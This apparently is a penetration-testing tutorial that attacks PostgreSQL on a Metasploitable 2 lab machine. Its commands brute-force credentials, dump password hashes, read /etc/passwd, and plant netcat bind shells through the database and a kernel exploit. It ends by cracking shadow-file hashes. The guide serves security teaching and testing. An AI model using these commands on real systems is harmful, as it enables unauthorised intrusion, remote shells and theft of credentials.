A Penetration Tester’s Guide to PostgreSQL

PostgreSQL is an open source database which can be found mostly in Linux operating systems. However it has great compatibility with multiple operating systems and it can run in Windows and MacOS platforms as well. If the database is not properly configured and credentials have been obtained then it is possible to perform various activities like read and write system files and execution of arbitrary code.

The purpose of this article is to provide a methodology for penetration testers that can use when they are assessing a PostgreSQL database. Metasploitable 2 has been used for demonstration purposes since it contains the majority of the vulnerabilities and misconfigurations.

This guide is based on the original blog post from @NetbiosX or @panagiotis84 which was then deleted, for some industry spat in the United Kingdom?? So many thanks to Panagiotis!!!

Discovery and Version Fingerprinting

By default PostgreSQL databases are listening on port 5432. During the port scan stage if this port is found open then it is likely a PostgreSQL installation to run on the host.

nmap -sV 192.168.100.11 -p 5432
PostgreSQL — Version Identification via Nmap

Alternatively Metasploit Framework has a specific module which can be used to identify PostgreSQL databases and their version.

auxiliary/scanner/postgres/postgres_version
PostgreSQL — Version Identification

Discovery of Database Credentials

It is very common to find in shared folders configuration files that might contain usernames and passwords for accessing the database. However if this is not feasible then the following Metasploit module can assist in the discovery of credentials by performing a brute force attack.

auxiliary/scanner/postgres/postgres_login
PostgreSQL — Discovery of Database Credentials

This is an important step as without database credentials it would be harder to compromise the host since the majority of the activities require database access.

Database Access

Kali Linux distributions contain by default the psql utility which allows a user to authenticate with a PostgreSQL database if the username and the password are already known.

psql -h 192.168.100.11 -U postgres
PostgreSQL — Database Access

Upon connection with the database the following set of activities should be performed:

  • Enumeration of Existing Databases
  • Enumeration of Database Users
  • Enumeration of Database Tables
  • Retrieving Table Contents
  • Retrieving Database Passwords
  • Dumping Database Contents

The following commands will execute the above tasks:

postgres-# \l
postgres-# \du
template1=# \dt
template1=# SELECT * FROM users;
postgres-# SELECT usename, passwd FROM pg_shadow;
pg_dump --host=192.168.100.11 --username=postgres --password --dbname=template1 --table='users' -f output_pgdump
PostgreSQL — List Existing Databases
PostgreSQL — List Database Users
PostgreSQL — List Existing Tables
PostgreSQL — Retrieving Database Passwords
PostgreSQL — Dumping Database Contents

Metasploit Framework can obtain as well some of the information above.

auxiliary/admin/postgres/postgres_sql
auxiliary/scanner/postgres/postgres_hashdump
PostgreSQL — Database Enumeration via Metasploit
Metasploit — Retrieve Postgres Server Hashes
Metasploit — Executing PostgreSQL Commands

Command Execution

PostgreSQL databases can interact with the underlying operating by allowing the database administrator to execute various database commands and retrieve output from the system.

postgres=# select pg_ls_dir('./');
PostgreSQL — Directory Listing

By executing the following command it is possible to read server side postgres files.

postgres=# select pg_read_file('PG_VERSION', 0, 200);
PostgreSQL — Reading Server Side Files

It is also possible to create a database table in order to store and view contents of a file that exist in the host.

postgres-# CREATE TABLE temp(t TEXT);
postgres-# COPY temp FROM '/etc/passwd';
postgres-# SELECT * FROM temp limit 1 offset 0;
PostgreSQL — Reading Local Files

Metasploit Framework has a specific module which can be used to automate the process of reading local files.

auxiliary/admin/postgres/postgres_readfile
PostgreSQL — Reading Local Files via Metasploit

Except of reading the file contents PostgreSQL can be utilized to write files on the host like a bash file that could open a listener on a random port:

postgres=# CREATE TABLE pentestlab (t TEXT);
postgres=# INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
postgres=# SELECT * FROM pentestlab;
postgres=# COPY pentestlab(t) TO '/tmp/pentestlab';
PostgreSQL — Write File on the Host

Execution permissions should be applied on this file:

chmod +x pentestlab
./pentestlab
Stat Local Listener

Netcat can receive the connection:

nc -vn 192.168.100.11 2346
python -c "import pty;pty.spawn('/bin/bash')"
PostgreSQL — Connect to Backdoor

Execution of arbitrary code is also possible if the postgres service account has permissions to write into the /tmp directory through user defined functions (UDF).

exploit/linux/postgres/postgres_payload
PostgreSQL — Code Execution

Privilege Escalation

If access to the host has been gained through credentials that have been discovered from a database table or via any other method then attempts should be performed to escalate privileges to root. Of course privilege escalation in Linux systems can be performed in various ways and is a complex effort but for the purposes of this article a kernel vulnerability has been used.

Retrieving full information about the Kernel version and the operating system will help in the discovery of vulnerabilities that are affecting the system.

user@metasploitable:/# uname -a
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

The easiest way from the moment that the Kernel version has been obtained is to use search exploitdb for local exploits that correspond to the specific version.

Searching Linux Kernel Exploits

The exploit can be compiled either locally or on the remote system.

Compile the Exploit and Retrieve PID of netlink

This specific exploit requires the creation of a run file inside the /tmp directory. This file will run when the exploit code will executed and it will open a connection on a specified port.

#!/bin/bash
nc -lvvp 2345 -e /bin/bash
Create the run File into the tmp directory

Permission to execute should be applied on this file:

chmod +x /tmp/run

The following commands will receive the connection that has been opened previously and spawn a python shell as root.

nc -vn 192.168.100.11 2345
python -c "import pty;pty.spawn('/bin/bash')"
Receive the connection with Netcat

The method above could be automated via Metasploit Framework so from the moment that a vulnerability has been discovered it is a good practice to check Metasploit for an associated module.

Metasploit Linux Privilege Escalation — netlink

When the exploit code will executed another Meterpreter session will open as root user.

Elevated Meterpreter Session — Root Privileges

Even though root access has been achieved it is always a good practice to retrieve the password hashes for all the accounts in the system from the shadow file in order to crack them. This activity will not only allow the penetration tester to find accounts with weak passwords for reporting purposes but there is a high possibility to use some of the accounts to access other systems in the network.

Examining the Shadow File

The password hashes can be added into a .txt file in order to crack them with John the Ripper.

john /root/Desktop/password.txt
john --show /root/Desktop/password.txt
Cracked Hashes

The command above will show the password hashes that have been cracked.

Now all the accounts of the Linux system have been cracked and it could be used to connect to other systems.

Show your support

Clapping shows how much you appreciated david hayter’s story.